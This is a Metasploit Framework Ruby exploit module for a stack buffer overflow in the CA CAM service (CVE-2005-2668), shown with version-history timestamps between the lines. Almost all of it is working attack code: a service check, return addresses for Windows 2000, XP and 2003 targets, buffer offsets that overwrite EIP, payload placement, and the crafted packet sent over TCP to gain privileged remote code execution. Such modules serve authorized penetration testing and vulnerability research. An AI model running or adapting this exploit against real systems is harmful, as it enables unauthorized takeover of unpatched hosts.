2007-02-18 00:10:39 +00:00
|
|
|
##
|
2010-04-30 08:40:19 +00:00
|
|
|
# This file is part of the Metasploit Framework and may be subject to
|
2007-02-18 00:10:39 +00:00
|
|
|
# redistribution and commercial restrictions. Please see the Metasploit
|
2012-02-21 01:40:50 +00:00
|
|
|
# web site for more information on licensing and terms of use.
|
|
|
|
# http://metasploit.com/
|
2007-02-18 00:10:39 +00:00
|
|
|
##
|
|
|
|
|
2005-11-27 19:08:44 +00:00
|
|
|
require 'msf/core'
|
|
|
|
|
2008-10-02 05:23:59 +00:00
|
|
|
class Metasploit3 < Msf::Exploit::Remote
|
2009-12-06 05:50:37 +00:00
|
|
|
Rank = GreatRanking
|
2005-11-27 19:08:44 +00:00
|
|
|
|
2008-10-02 05:23:59 +00:00
|
|
|
include Msf::Exploit::Remote::Tcp
|
2005-11-27 19:08:44 +00:00
|
|
|
|
|
|
|
def initialize(info = {})
|
2010-04-30 08:40:19 +00:00
|
|
|
super(update_info(info,
|
2010-05-09 17:45:00 +00:00
|
|
|
'Name' => 'CA CAM log_security() Stack Buffer Overflow (Win32)',
|
2005-11-27 19:08:44 +00:00
|
|
|
'Description' => %q{
|
2010-04-30 08:40:19 +00:00
|
|
|
This module exploits a vulnerability in the CA CAM service
|
2005-11-27 19:08:44 +00:00
|
|
|
by passing a long parameter to the log_security() function.
|
|
|
|
The CAM service is part of TNG Unicenter. This module has
|
|
|
|
been tested on Unicenter v3.1.
|
|
|
|
},
|
|
|
|
'Author' => [ 'hdm' ],
|
2006-01-21 22:10:20 +00:00
|
|
|
'License' => MSF_LICENSE,
|
2005-11-27 19:08:44 +00:00
|
|
|
'References' =>
|
|
|
|
[
|
2007-01-05 14:44:09 +00:00
|
|
|
['CVE', '2005-2668'],
|
2009-05-19 13:20:32 +00:00
|
|
|
['OSVDB', '18916'],
|
|
|
|
['BID', '14622'],
|
2005-11-27 19:08:44 +00:00
|
|
|
],
|
|
|
|
'Privileged' => true,
|
|
|
|
'Payload' =>
|
|
|
|
{
|
|
|
|
'Space' => 1024,
|
|
|
|
'BadChars' => "\x00",
|
|
|
|
'StackAdjustment' => -3500,
|
|
|
|
},
|
2010-04-30 08:40:19 +00:00
|
|
|
'Targets' =>
|
2005-11-27 19:08:44 +00:00
|
|
|
[
|
2010-09-20 08:06:27 +00:00
|
|
|
# W2API.DLL @ 0x01950000 - return to ESI
|
2005-11-27 19:08:44 +00:00
|
|
|
['W2API.DLL TNG 2.3', { 'Platform' => 'win', 'Ret' => 0x01951107 }],
|
|
|
|
|
|
|
|
# Return to ESI in ws2help.dll
|
|
|
|
['Windows 2000 SP0-SP4 English', { 'Platform' => 'win', 'Ret' => 0x750217ae }],
|
|
|
|
['Windows XP SP0-SP1 English', { 'Platform' => 'win', 'Ret' => 0x71aa16e5 }],
|
|
|
|
['Windows XP SP2 English', { 'Platform' => 'win', 'Ret' => 0x71aa1b22 }],
|
|
|
|
['Windows 2003 SP0 English', { 'Platform' => 'win', 'Ret' => 0x71bf175f }],
|
|
|
|
],
|
2010-06-15 07:18:08 +00:00
|
|
|
'DisclosureDate' => 'Aug 22 2005',
|
2005-11-27 19:08:44 +00:00
|
|
|
'DefaultTarget' => 0))
|
|
|
|
end
|
|
|
|
|
|
|
|
|
|
|
|
def check
|
|
|
|
connect
|
2012-06-04 22:26:15 +00:00
|
|
|
ack = sock.get_once || ''
|
2005-11-27 19:08:44 +00:00
|
|
|
disconnect
|
2010-04-30 08:40:19 +00:00
|
|
|
|
|
|
|
(ack == "ACK\x00") ? Exploit::CheckCode::Detected : Exploit::CheckCode::Safe
|
2005-11-27 19:08:44 +00:00
|
|
|
end
|
2010-04-30 08:40:19 +00:00
|
|
|
|
2005-11-27 19:08:44 +00:00
|
|
|
def exploit
|
|
|
|
connect
|
2010-04-30 08:40:19 +00:00
|
|
|
|
2005-11-27 19:08:44 +00:00
|
|
|
ack = sock.get_once
|
|
|
|
if (ack != "ACK\x00")
|
|
|
|
print_status("The CAM service is not responding")
|
|
|
|
end
|
2010-04-30 08:40:19 +00:00
|
|
|
|
2007-03-01 08:21:36 +00:00
|
|
|
buf = rand_text_english(4096, payload_badchars)
|
2010-04-30 08:40:19 +00:00
|
|
|
|
2005-11-27 19:08:44 +00:00
|
|
|
# Offset 1016 for EIP, 1024 = ESP, 1052 = ESI
|
|
|
|
buf[ 1016, 4 ] = [target.ret].pack('V')
|
2010-04-30 08:40:19 +00:00
|
|
|
buf[ 1052, payload.encoded.length ] = payload.encoded
|
2005-11-27 19:08:44 +00:00
|
|
|
|
|
|
|
sock.put("\xfa\xf9\x00\x10" + buf + "\x00")
|
2010-04-30 08:40:19 +00:00
|
|
|
|
2005-11-27 19:08:44 +00:00
|
|
|
handler
|
|
|
|
disconnect
|
|
|
|
end
|
|
|
|
|
2009-05-19 13:20:32 +00:00
|
|
|
end
|